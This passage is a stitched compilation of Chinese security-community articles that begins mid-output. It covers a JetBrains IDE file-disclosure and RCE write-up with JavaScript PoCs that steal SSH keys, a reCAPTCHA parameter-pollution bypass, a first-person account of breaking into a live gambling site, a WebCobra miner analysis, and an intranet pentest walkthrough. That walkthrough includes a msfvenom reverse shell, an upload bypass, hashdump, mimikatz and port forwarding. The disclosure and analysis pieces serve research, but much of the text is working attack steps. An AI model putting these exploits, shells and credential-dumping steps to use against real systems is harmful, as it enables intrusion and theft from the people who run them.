< access-control-allow-headers: authorization
< access-control-allow-headers: origin
< access-control-allow-headers: content-type
< access-control-allow-headers: accept
<
* Connection #0 to host 127.0.0.1 left intact
<!doctype html><title>404 Not Found</title><h1 style="text-align: center">404 Not Found</h1><hr/><p style="text-align: center">PyCharm 5.0.4</p>
这里有一些异常。PyCharm 的 HTTP 服务器的基本意思就是允许 web 页面上任何来源 （包括 http://attacker.com）
提出资质请求，并读取响应。那到底什么是HTTP服务器呢？它是否会含有敏感信息？如果任何页面都能读取它的内容我们该怎么办？
**什么是HTTP服务器？**
**
**
在查找网页对应的端口号之后我们发现，服务器和Webstorm在2013年初新添加的新功能有关。功能理念就是用户不需要设置自己的web服务器在浏览器中预览网页，只要在Webstorm中单击“在浏览器中查看”这个按钮就可以在http://localhost:63342/<projectname>/<your_file.html>中进行查看。其中包含的任何脚本或者页面都可以通过类似的链接（http://localhost:63342/<projectname>/some_script.js）呈现。
要验证 PyCharm 嵌入的服务器是否与 WebStorm 类似，让我们在 PyCharm创建一个名为"测试"
的项目，并在根目录中创建一个名为"something.txt"的文件。
$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"
> GET /testing/something.txt HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 200 OK
[...]
< access-control-allow-origin: http://attacker.com/
[...]
these are the file contents!
所以我们发现，所有的站点只要能猜到项目名称和文件名，就可以读取任何项目文件。很显然这其中将包括任何配置文件包，其中会含有AWS密钥等敏感信息。这里就是一个HTML片段：
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:63342/testing/something.txt", true);
xhr.onload = function() {alert(xhr.responseText)};
xhr.send();
</script>
**武器化——从项目目录中逃逸**
我们先看一下是否可以读取项目目录以外的文件，比如说SSH密钥。最明显的就是看一下它是如何处理URI请求的：
$ curl -v "http://localhost:63342/testing/../../../.ssh/id_rsa"
* Rebuilt URL to: http://localhost:63342/.ssh/id_rsa
[](http://localhost:63342/.ssh/id_rsa)
可以看出每段路径都必须由客户端或是服务器进行规范化处理。幸运的是，PyCharm 的内部 HTTP 服务器使用的是%2F..%2F这样的点段。
$ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa"
> GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]
接下来唯一的限制就是必须要知道受害者的项目名称。最明显的选择就是使用词典中存在的潜在项目名（用户可能已经打开），并尝试请求/<potential_projectname>/.idea/workspace.xml。
$ curl --head "http://localhost:63342/testing/.idea/workspace.xml"
HTTP/1.1 200 OK
$ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml"
HTTP/1.1 404 Not Found
下面是JavaScript中一个原始的PoC：
function findLoadedProject(cb) {
var xhr = new XMLHttpRequest();
// Let's assume we have a sensible dictionary here.
var possibleProjectNames = ["foobar", "testing", "bazquux"];
var tryNextProject = function() {
if (!possibleProjectNames.length) {
cb(null);
return;
}
var projectName = possibleProjectNames.pop();
xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);
xhr.onload = function() {
if(xhr.status === 200) {
cb(projectName);
} else {
tryNextProject();
}
};
xhr.send();
};
}
var findSSHKeys = function(projectName) {
var xhr = new XMLHttpRequest();
var depth = 0;
var tryNextDepth = function() {
// No luck, SSH directory doesn't share a parent
// directory with the project.
if(++depth > 15) {
return;
}
// Chances are that both `.ssh` and the project directory are under the user's home folder,
// let's try to walk up the dir tree.
dotSegs = "..%2f".repeat(depth);
xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);
xhr.onload = function() {
if (xhr.status === 200) {
console.log(xhr.responseText);
} else {
tryNextDepth();
}
};
xhr.send();
}
};
findLoadedProject(function(projectName) {
if(projectName) {
console.log(projectName, "is a valid project, looking for SSH key");
findSSHKeys(projectName);
} else {
console.log("Failed to guess a project name");
}
});
**可以避开项目名称猜测吗？**
必须要猜测出准确的项目名称这一点大大的缓冲了文件泄露的灾害性，但是API可能会解决这一问题。
最后我发现了JetBrainsProtocolHandlerHttpService对应的/api/internal 端口。显然这个端口可以在JSON
blob中传送一个含有jetbrains: 的URL。
/ / <project_name> /open/ <path>处理程序似乎可以发现一些问题：
public class JBProtocolOpenProjectCommand extends JBProtocolCommand {
public JBProtocolOpenProjectCommand() {
super("open");
}
@Override
public void perform(String target, Map<String, String> parameters) {
String path = URLDecoder.decode(target);
path = StringUtil.trimStart(path, LocalFileSystem.PROTOCOL_PREFIX);
ProjectUtil.openProject(path, null, true);
}
}
这让我们可以通过绝对路径打开一个项目，大多数 * NIX 系统
都有/Etc 目录，我们尝试打开一下：
$ curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'
所以该目录需要确实包含一个JetBrains风格的项目，不能简单地忽略任何旧目录。在OSX版本中，这会在/Applications/PyCharm.app/Contents/helpers下面，我们来试一下：
$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers"}'
只要我们确保现在项目是打开的状态，就不必再猜测项目名称了。在Linux中PyCharm
的根文件夹没有标准位置，但我们可以发出/api/about?more=true请求来确定：
{
"name": "PyCharm 2016.1.2",
"productName": "PyCharm",
"baselineVersion": 145,
"buildNumber": 844,
"vendor": "JetBrains s.r.o.",
"isEAP": false,
"productCode": "PY",
"buildDate": 1460098800000,
"isSnapshot": false,
"configPath": "/home/user/.PyCharm2016.1/config",
"systemPath": "/home/user/.PyCharm2016.1/system",
"binPath": "/home/user/opt/pycharm/bin",
"logPath": "/home/user/.PyCharm2016.1/system/log",
"homePath": "/home/user/opt/pycharm"
}
一旦我们打开
helpers项目，就可以从/api/about?more=true响应中确定用户的本地目录，然后用来构建一个访问SSH密钥的URL，就像这样/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/<user>/.ssh/id_rsa：
$ curl -v "http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa"
> GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]
**WINDOWS** **环境下攻击更加容易**
上述用来打开 helpers目录的技巧只有在用户已经安装PyCharm 2016.1
的前提下成立，其他情况下还是需要猜测出项目名称。那么其他的JetBrains IDE（比如IntelliJ IDEA和Android
Studio）工作情况怎么样呢？
由于jetbrains://project/open处理程序允许我们通过任何路径传递项目，UNC路径又是一个很方便的选择。UNC 路径是 windows
的特定路径，允许用户在网络共享中引用文件。（类似于\servernamesharenamefilepath）。多数的windows文件API会很乐于选择UNC路径并且光明正大地连接到另一台电脑的SMB共享，这样就可以读取和写入远程文件。如果可以获得从SMB共享中打开项目的IDE，我们就不需要猜测受害者电脑上的项目名称了。
出于测试的目的，我设置了一个远程的Samba示例，其中有未经身份验证的SMB共享（名叫anontesting），共享中有一个 JetBrains
项目，我们现在来尝试打开：
$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\smb.example.com\anonshare\testing"}'
我们假定受害者的ISP不会阻止SMB出站通信，我们就可以从SMB共享中加载任意项目。
**Windows** **下还有更糟的后果**
我们似乎可以做一些更加有趣的事情，可以通过一个请求使得windows用户从我们的远程SMB共享中下载一个用做攻击的项目。
JetBrains 的IDE每一个项目都有一个启动任务的概念。在PyCharm中，项目加载时会自动运行Python脚本，这就相当于在Android
Studio和IntelliJ IDEA 中运行.jar。在下面的示例中，我已经完成了这一点，当项目打开时将会在项目根目录中自动运行hax.py 脚本：
现在我们需要在项目根目录中添加一个hax.py文件：
import os
os.system("calc.exe")
我们将该项目放在匿名SMB共享中，然后我们会呈现给受害者加载恶意项目的页面：
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open/\\\\123.456.789.101\\anonshare\\testing"}');
</script>
只要受害者导航到该页面，我们的有效荷载和计算器就会被触发：
**OSX** **也难逃魔爪**
**
**
在这片文章最初发表之后，纽约商品交易所（COMEX）指出，OSX会在用户通过 /net autofs 挂载点访问时自动安装远程 NFS
共享。这就意味着利用OSX下的RCE就类似于利用WINDOWS下的IDE。我们创建一个匿名NFS共享并打开/net/<hostname>/<sharename>/<projectname>：
$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'
在HTML PoC看到了这个：
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}');
</script>
这可能适用于所有使用-hosts的* NIX 式 autofs 挂载点，但是OS X 是我能找到的在默认安装中这样配置autofs的唯一操作系统。
**
**
**PoC**
· 最小化文件泄露PoC
· Weaponized 文件泄漏 PoC
· WINDOWS和OSX的RCE中没有PoC
**修复**
· 下面是我知道的JetBrains做出的几点修复措施：
· 发送给本地HTTP服务器的所有请求都需要一个陌生的身份验证包，否则服务器会返回4xx状态代码。
· 疑难CORS策略被完全删除。
· 现在需要验证host标头值，以防止类似漏洞。
**供应商反响——与供应商的交流**
在这里要感谢Hadi Hariri 及其团队对于我报告的主动回应。在我发出电子邮件后的一小时就收到了回复。
他们发送了补丁给我，以及他们解决方案的二进制构建，并且也接受我在反馈中提到的潜在问题。
**披露时间轴**
•2016-04-04：发现本地文件泄露问题
•2016-04-06：向供应商提出安全接触请求
•2016-04-06：供应商回复安全联系信息，请求漏洞详细信息
•2016-04-07：向供应商发送本地文件泄漏漏洞的 PoC
•2016-04-10：向供应商发送关于RCE 的补救步骤和细节的更详细报告
•2016-04-12：供应商做出响应，表示他们正在修补程序
•2016-04-14：供应商在响应中提供了针对开源intellij-community的修补程序
•2016-04-14：发送修补程序修改意见给供应商
•2016-04-15：供应商做出响应，表示他们正在更新修补程序
•2016-04-26：供应商表示，他们打算近期发布补丁
•2016-05-11：发布针对所有JetBrains IDE的安全修补程序 | 社区文章 |
# 通过 HTTP 参数污染绕过 reCAPTCHA 认证
|
##### 译文声明
本文是翻译文章，文章来源：https://andresriancho.com/
原文地址：<https://andresriancho.com/recaptcha-bypass-via-http-parameter-pollution/>
译文仅供参考，具体内容表达以及含义原文为准。
## TL;DR
我在1月底向谷歌报告了一种 reCAPTCHA 绕过方法。实现这种绕过方法需要web应用通过 reCAPTCHA
以一种不安全的方式来处理发送到/recaptcha/api/siteverify的请求，当这种情况发生时，攻击者每次都能绕过保护。安全问题在于 Google
的 reCAPTCHA API中固定的UPSTREAM, 而且你的应用程序不需要做任何修改。
## 介绍
reCAPTCHA是Google提供的一项允许web应用开发者通过最少的工作就能为其站点添加验证码功能的一项服务。reCAPTCHA是一项非常复杂的涵盖各种情况的服务：有时候它会根据已经存在的cookies选择信任用户，有时候它需要用户完成几个任务。接下来的介绍是发现了漏洞的情况。
当web应用要验证用户时，Google提供了一个图像集并且使用Javascript代码把它们显示到浏览器，像下面的图片：
[](https://p5.ssl.qhimg.com/t019f191b4d53cf02c2.png)
当用户完成选择，点击确认按钮后，就会触发一个发送到web服务器的HTTP请求，这个请求看起时这样的：
POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response={reCAPTCHA-generated-hash}
收到请求后，web应用需要向Google的reCAPTCHA API发送一个请求来验证用户的回答。
POST /recaptcha/api/siteverify HTTP/1.1
Content-Length: 458
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
web应用需要使用{application-secret}来验证自己，并且向API发送{reCAPTCHA-generated-hash}来查询结果。如果用户的回答正确，将返回如下响应：
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
"success": true,
"challenge_ts": "2018-01-29T17:58:36Z",
"hostname": "..."
}
web应用将接收、处理这个响应，并且大多数时候会授权用户使用某些资源。
## HTTP参数污染
HTTP参数污染几乎是无处不在的，相关的风险取决于所处的环境。在某些特定的场景下，可能导致大规模的数据泄露，但大多数时候是低风险的。
绕过reCAPTCHA认证需要web应用中存在HTTP参数污染，这个条件很大程度上减小了这个漏洞的严重性。
存在这个漏洞的web应用看起来是像这样的：
private String sendPost(String CaptchaResponse, String Secret) throws Exception {
String url = "https://www.google.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
注意到这个web应用使用了字符串拼接来创建url变量。
同样需要重视的还有Google服务端，下面的两个请求可能返回同样的响应：
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}
reCAPTCHA API始终使用请求的第一个参数secret，忽略第二个。这不是漏洞，但存在可利用的风险。
## 问题的关键
web开发人员需要以自动化方式测试它们的应用程序，而google提供了一个简单的方法来禁用“在特定环境中的验证。[Google的文档](https://developers.google.com/recaptcha/docs/faq)中做了详细解释，总结一下，如果想禁用reCAPTCHA验证，需要使用硬编码站点和下面的密钥：
* Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
* Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
## 整合起来
现在需要的我们都知道了，接下来看看如何利用：
POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
如果web应用存在http参数污染漏洞，并且url是通过在secret参数之前拼接response参数来创建的，那么攻击者就能够绕过在验证。
注意我发送的这个精心设计的请求包含了以下内容：
1. 任何内容都可以：只是用来占位
2. %26：经过URL编码的“&”符
3. secret：我想“注入”的参数名
4. %3d:经过URL编码的“=”符
5. 6Le…JWe:禁用reCAPTCHA响应验证的密钥
当所有攻击条件就绪后，web应用会向reCAPTCHA API发送如下的HTTP请求：
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-urllib/2.7
recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu
注意到请求中包含了两个secret参数，第一个是由攻击者控制的（由于web应用中存在http参数污染），第二个是由应用自己控制的。考虑到reCAPTCHA
API使用的是第一个，返回的响应始终是这样的：
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
"success": true,
"challenge_ts": "2018-01-29T17:58:36Z",
"hostname": "..."
}
web应用将处理这个响应，并且攻击者会获得授权。
## 固定的UPSTREAM
Google决定在他们的REST
API中解决这个问题，我相信这是明智的举措。它们的修复很简单：如果http请求/reCAPTCHA/api/siteverify包含两个同名参数，那么返回一个错误。
通过这种方式修复就是保护那些易受http参数污染和 reCAPTCHA绕过攻击的应用程序，而且不需要应用任何补丁。
## 在实战中利用
在web应用中实现这个攻击需要两个非常重要的条件，第一，应用需要在reCAPTCHA
url创建中存在HTTP参数污染漏洞:Github搜索可以发现与reCAPTCHA的整合中高达60%存在可利用漏洞。
第二，web应用创建url时需要以response作为第一个参数，然后才是secret参数：“response=…&secret=…”。奇怪的是，大多数应用使用的是“secret=…&response=…”。我的猜测是因为Google文档就是这么做的，所以很多人直接参考了,这一点Google很幸运,如果不是这样，这个漏洞会影响更多的网站。Github搜索显示只有5%-10%的reCAPTCHA应用存在这个风险。
所以，如果我想在实战中实现这个攻击，只有大约3%使用reCAPTCHA的网站存在这个漏洞:看起来还不错因为这个应用很广，但比其它漏洞风险要小。
## 总结
* **对开发者** ：永远不要使用字符串连接来创建查询字符串。使用字典存储键和值，然后进行url编码。
* **对安全工作者** ：HTTP参数污染是你的好朋友。
## 时间线
* 2018-Jan-29 / 漏洞被提交到Google
* 2018-Jan-30 / [Google回应称reCAPTCHA功能正常](https://sites.google.com/site/bughunteruniversity/nonvuln/recaptcha-accepting-an-invalid-response-to-a-challenge)
* 2018-Jan-31 / 我请求Google再看一遍报告
* 2018-Jan-31 / Google要求更多细节
* 2018-Feb-1 / Google确认漏洞
* 2018-Feb-15 / Google奖励500美元。奖金捐给了慈善机构。
* 2018-Mar-25 / 补丁发布 | 社区文章 |
# 前言
萌新，没发过帖子，看了Squirrels，newlifes，4nt _**_ 1130老哥的渗透帖子，也把自己的一次经历写成帖子以供大家参考。
# 过程&&细节
1.FoFa游荡时偶遇一棋牌后台，本着棋牌站人人得而诛之，搞一下。
2.本能的用弱口令试一下，不出意料，失败~~~
3.不死心，用burp测试一下top100，果不其然，再次失败~~~
4.没办法，只能继续分析分析，通常这种状况下，我都会用burpsuit爬虫一下，找找数据交互的地方fuzzing一下，当然，首先后台这种类型站最明显的交互就是登录了，很幸运的简单检测一下发现post请求中username字段是存在注入的，当逻辑为真的时候，回显:用户名或者密码错误,当逻辑为假时回显：账号不存在，经典的报错回显。
真：userName=admin'AND 1=1 AND 't'='t&password=
假：userName=admin'AND 1=1 AND 't'='k&password=
5.当发现此处的注入，当然马上使用sqlmap来梭哈一下，把post请求包保存为txt，用sqlmap -r sql_pointer.txt
--random-agent先试试水，果然发现一堆注入。
6.再一看，竟然是Microsoft SQL Server 2014,心中有些小激动了，不会直接可以用xp_cmdshell直接getshell吧？
7.说干就干，直接打开cs，先生成一个one-liner，复制一下链接。
8.再用sqlmap跑一下，加个参数--os-shell尝试获取一个交互，获取之后再把one-liner链接执行。
9.在静静等待几秒之后，cs上线成功！
10.但是再看了一下，果不其然，也只是低权限的MSSQLSERVER，尝试了哈希转储和mimikatz，失败，本想查看远程文件，但是太慢了，等了几分钟也没刷出来dirvers，难道是网络太差？
11.使用CS默认的提权，果不其然，失败。
12.之后又尝试了烂土豆，bypassuac等等统统失败，心想老机子不该呀，而且进程列表也没法什么防护软件呀，终于用ms14-058成功提权，CS又获取到了一个system的session。
13.接下来就顺利了，mimikazt赶紧跑起来，成功获取账户和明文密码，这波爽歪歪。
14.之后再扫描一下端口，发现RDP端口设置在了高位：23389，再直接远程登录一下，果然发现了正在运行的赌博后台程序。
15.找一下后台文件夹在哪里，顺便放了一只哥斯拉马，顺利连接上。
16.继续翻一番配置文件：web.config,果然发现了数据库配置信息和一堆其他的配置信息。
17.在哥斯拉中，用数据库账号密码本地链接一下试试，成功了，并找到了后台管理员账号密码，用nmap搜集信息的时候看了开放1433端口，貌似可以远程。
18.在cmd5查一下明文密码，好像也是弱口令。
19.获取到明文密码后，直接登录一下看看，发现只是个小站又或者测试站，测试信息不少，似乎也没什么人上当。
20.搞完查了一下fofa，发现资产数量不少，应该是个比较流通的棋牌系统了，唉，骗子大行其道，可恶。
21.清理一下登录信息，结束。
# 总结
本次渗透比较顺利，都是些简单通用的思路：信息搜集(爬虫，namp，js接口之类)-->sql注入点（突破点）-->cs上线-->提权（权限提升）-->mimikatz（凭证访问）-->信息再搜集利用等等。希望对大家有些许助益，谢谢观看。 | 社区文章 |
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/>
# 前言
迈克菲实验室的研究人员发现了一种名为WebCobra的恶意软件，它利用受害机器的算力挖掘加密货币。
挖矿恶意软件很难被检测到。一旦计算机遭到入侵，恶意软件就会在后台静默运行，机器只有一个特征：性能下降。挖矿软件会增加功耗，降低运行速度，留给拥有者的只有头疼和账单。根据最近的一份报告，挖出一个比特币可能需要花费[531美元到26,170美元](https://www.marketwatch.com/story/heres-how-much-it-costs-to-mine-a-single-bitcoin-in-your-country-2018-03-06)的能源成本。
加密货币价值的增加刺激了网络犯罪分子，他们利用恶意软件窃取机器资源，并在未经受害者同意的情况下挖矿。
下图显示了挖矿恶意软件的流行程度与Monero加密货币价格的变化走向，可见两者的相关性。
_图**1_
_：加密货币Monero的价格在2018年初达到顶峰。挖矿恶意软件的总样本继续增长。资料来源：https：//coinmarketcap.com/currencies/monero/。_
McAfee Labs [此前曾分析](https://securingtomorrow.mcafee.com/mcafee-labs/parasitic-coin-mining-creates-wealth-destroys-systems/)过挖矿病毒CoinMiner;。在迈克菲的大力协助下，网络威胁联盟发布了一份报告[“非法加密货币采矿威胁”。](https://www.cyberthreatalliance.org/wp-content/uploads/2018/09/CTA-Illicit-CryptoMining-Whitepaper.pdf)最近，我们检查了俄罗斯的一款应用程序WebCobra，该应用程序会静默地删除并安装Cryptonight
miner或Claymore's Zcash miner，具体是安装还是删除取决于WebCobra探测到的系统架构。McAfee产品可检测并防范此威胁。
这种威胁是通过流氓安装程序散播的。我们在全球范围内都能观察到它，其中巴西，南非和美国的感染数量最多。
_图2：McAfee Labs 9月9日至13日发布的WebCobra感染热图。_
这种挖矿软件并不常见，因为它会根据其感染的计算机配置舍弃一些不需要的矿工。我们将在本文后面讨论这个细节。
# 行为分析
主要的植入程序是一个Microsoft安装程序，用于检查运行环境。在x86系统上，它将Cryptonight
miner代码注入正在运行的进程并启动进程监视器。在x64系统上，它检查GPU配置，然后从远程服务器下载并执行Claymore's Zcash miner。
_图3：WebCobra的安装程序。_
启动后，恶意软件会植入并使用以下命令解压一个带密码的Cabinet归档文件：
_图4：解压缩已植入文件的命令。_
CAB文件包含两个文件：
* LOC：用于解密data.bin的DLL文件
* bin：包含已加密的恶意payload
CAB文件使用以下脚本来执行ERDNT.LOC：
_图5：加载DLL文件的脚本ERDNT.LOC。_
ERDNT.LOC解密data.bin并使用以下例程将执行流传递给它：
[PlainText_Byte] = (([EncryptedData_Byte] + 0x2E) ^ 0x2E) + 0x2E
_图6：解密例程。_
程序会检查运行环境以启动合适的miner，如下图所示：
_图7：根据系统配置启动合适的miner。_
解密并执行data.bin后，它会尝试进行一些反调试，反仿真和反沙箱技术，以及检查系统上运行的其他安全软件。这些步骤可以使恶意软件隐匿相当长一段时间。
大多数安全软件都会hook一些API来监控恶意软件的行为。为了避免被这种技术发现，WebCobra将ntdll.dll和user32.dll作为数据文件加载到内存中，并覆盖这些函数的前8个字节，这些函数可以unhook
API。
## unhooked ntdll.dll API列表
* LdrLoadDll
* ZwWriteVirtualMemory
* ZwResumeThread
* ZwQueryInformationProcess
* ZwOpenSemaphore
* ZwOpenMutant
* ZwOpenEvent
* ZwMapViewOfSection
* ZwCreateUserProcess
* ZwCreateSemaphore
* ZwCreateMutant
* ZwCreateEvent
* RtlQueryEnvironmentVariable
* RtlDecompressBuffer
## unhooked user32.dll API列表
* SetWindowsHookExW
* SetWindowsHookExA
## 感染x86系统
恶意软件将恶意代码注入svchost.exe，并使用一个死循环检查所有打开的窗口，将每个窗口的标题栏文本与这些字符串进行比较。这是WebCobra的另一项检查，以确定它是否运行在一个专为恶意软件分析而设计的隔离环境中。
* adw
* emsi
* avz
* farbar
* glax
* delfix
* rogue
* exe
* asw_av_popup_wndclass
* snxhk_border_mywnd
* AvastCefWindow
* AlertWindow
* UnHackMe
* eset
* hacker
* AnVir
* Rogue
* uVS
* malware
如果窗口栏名称有任何一个匹配上了，就会终止进程。
_图8：如果窗口标题栏文本包含特定字符串，则终止进程。_
执行进程监视器后，它将miner的配置文件作为参数，创建一个svchost.exe实例，并注入Cryptonight miner代码。
_图9：创建svchost.exe实例并执行Cryptonight miner。_
最后，恶意软件在后台静默运行Cryptonight miner，并且会消耗完几乎所有CPU资源。
_图10：感染Cryptonight miner的x86机器。_
## 感染x64系统
如果发现Wireshark正在运行，恶意软件会终止感染。
_图11：检查Wireshark。_
恶意软件会检查GPU品牌和型号。仅在安装以下其中一家的产品时才运行：
* Radeon
* Nvidia
* Asus
_图12：检查GPU型号。_
检查完成之后，恶意软件会创建一个隐藏文件夹，并从远程服务器下载、执行Claymore's Zcash miner。
* C:\Users\AppData\Local\WIX Toolset 11.2
_图13：请求下载Claymore's Zcash miner。_
_图14：Claymore's miner。_
_图15：使用其配置文件执行挖矿软件。_
最后，恶意软件植入一个批处理文件到%temp%\–xxxxx.cMD ，以从
[WindowsFolder]{DE03ECBA-2A77-438C-8243-0AF592BDBB20}*.*中删除主植入程序。
_图16：删除dropper的批处理文件。_
miner的配置文件如下。
_图17：Cryptonight的配置文件。_
此配置文件包含：
* 矿池：5.149.254.170
* 用户名：49YfyE1xWHG1vywX2xTV8XZzbzB1E2QHEF9GtzPhSPRdK5TEkxXGRxVdAq8LwbA2Pz7jNQ9gYBxeFPHcqiiqaGJM2QyW64C
* 密码：soft-net
_图18：Claymore's Zcash miner配置文件。_
此配置文件包含：
* 矿池：eu.zec.slushpool.com
* 用户名：pavelcom.nln
* 密码：zzz
网络犯罪分子会继续利用这种相对容易的途径来窃取资源，挖矿恶意软件也在不断演变。和勒索软件相比，在其他人的系统上挖矿投资更少，风险更小。并且收入不依赖于同意汇款的受害者的百分比。直到用户发现他们的机器被用以挖矿之时，犯罪分子已经获得了不菲的收入。
## MITER ATT和CK技术
* 通过命令和控制通道进行渗透
* 命令行界面
* Hooking
* 来自本地系统的数据
* 文件和目录发现
* 查询注册表
* 系统信息发现
* 进程发现
* 系统时间发现
* 进程注入
* 数据加密
* 数据混淆
* 多层加密
* 文件删除
# 感染指标
## IP地址
* 149.249.13:2224
* 149.254.170:2223
* 31.92.212
## 域名
* fee.xmrig.com
* fee.xmrig.com
* ru
* zec.slushpool.com
## 迈克菲检测
* DAT版本8986中的CoinMiner版本2; DAT版本3437中的第3版
* l DAT版本9001中的版本2; DAT版本3452中的第3版
* DAT版本8996中的RDN / Generic PUP.x版本2; DAT版本3447中的第3版
* DAT版本9011中的Trojan-FQBZ，Trojan-FQCB，Trojan-FQCR版本2; DAT版本3462中的版本3
## 哈希值（SHA-256）
* 5E14478931E31CF804E08A09E8DFFD091DB9ABD684926792DBEBEA9B827C9F37
* 2ED8448A833D5BBE72E667A4CB311A88F94143AA77C55FBDBD36EE235E2D9423
* F4ED5C03766905F8206AA3130C0CDEDEC24B36AF47C2CE212036D6F904569350
* 1BDFF1F068EB619803ECD65C4ACB2C742718B0EE2F462DF795208EA913F3353B
* D4003E6978BCFEF44FDA3CB13D618EC89BF93DEBB75C0440C3AC4C1ED2472742
* 06AD9DDC92869E989C1DF8E991B1BD18FB47BCEB8ECC9806756493BA3A1A17D6
* 615BFE5A8AE7E0862A03D183E661C40A1D3D447EDDABF164FC5E6D4D183796E0
* F31285AE705FF60007BF48AEFBC7AC75A3EA507C2E76B01BA5F478076FA5D1B3
* AA0DBF77D5AA985EEA52DDDA522544CA0169DCA4AB8FB5141ED2BDD2A5EC16CE | 社区文章 |
**前言**
* 本次内网渗透的思路为：通过攻击外网服务器，从而获取外网服务器的权限，然后利用入侵成功的外网服务器作为跳板来攻击内网其他服务器，最后获得敏感数据（系统密码等），看情况安装后门木马或者后门软件，实现长期控制和获得敏感数据的方式。
* 还有一种内网渗透的思路为：通过社工等方法攻击企业办公网的电脑、办公网无线等，实现控制办公电脑，再用获得的办公网数据。
**一、利用FineCMS v5 的文件上传漏洞，获取官网系统的Webshell**
**渗透过程详解**
本次渗透过程将分为webshell—->getshell—->提权—->横向渗透
webshell访问某网站，该网站利用的是FineCMS v5系统建站，创建一个新的用户进行测试。
初步判断该网页模板为finecms v5建站系统，然后注册一个新的用户，方便我们利用finecms v5系统的文件上传漏洞
参考链接：<https://blog.csdn.net/dfdhxb995397/article/details/101384946>
文件上传漏洞在会员头像处，所以先注册一个账号然后登录后上传我们的一句话木马
最开始的文件格式是0x0.png
通过burp代理拦截将tx后面的image/png换成image/php即可
输入参数v=phpinfo();验证成功
验证上传成功后，打开菜刀软件输入上传的网站路径和参数（一句话木马的密码），可以连接服务器
在菜刀软件上可以进行数据库的提权，如mof提权、udf提权、启动项提权等
**二、获取Win2008的远程桌面权限，并登陆administrator账号**
编写免杀木马
通过webshell连接目标服务器，但是访问的数据有限，仅仅是站点的系统账户权限，访问的系统路径也有限，于是我们可以编写免杀木马来进行反弹shell木马su.exe
Msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4444 -f exe >/root/Desktop/su.exe
利用刚刚连接菜刀的操作，在文件管理中上传我们需要的工具
进入meterpreter攻击模块，配置参数
* use exploit/multi/handler
* Set payload/windows/x64/meterpreter/reverse_tcp
* Set lport 4444
* Set lhost 192.168.10.130
* run
可以利用菜刀的虚拟终端模拟win2008服务器点击免杀木马的操作，让木马生效
run执行监听
获取密码过程
* hashdump
* load mimikatz
* kerberos
**注：如果win2008的远程桌面操作是不允许连接到这台计算机，那么开启端口转发也是没用的**
开启远程桌面
run getgui -e
**思路一：利用meterpreter模块执行远程连接**
然后开启端口转发，-l（本地端口）-p（远程控制端口）-r（目标主机）
靶机3389端口转发发送到本地的5555端口
Rdesktop -u 用户名 -p 密码 127.0.0.1：5555 连接本地的5555端口开启远程桌面
利用windows开启远程桌面，需要利用lcx工具，现在shell模式下输入指令
靶机执行lcx.exe -slave 192.168.10.20 5555 192.168.10.10 3389
**思路二：利用lcx工具执行远程连接**
攻击机执行lcx.exe. -listen 5555 33891，接着打开mstsc连接127.0.0.1 ：33891
以下为连接成功和监听数据的发送
**三、获取内网Win7的远程桌面权限，并登陆到ndsec账号**
在获取win2008服务器的meterpreter的基础上
添加路由条目到10.10.10.0网段（run autoroute -s 10.10.10.0/24）
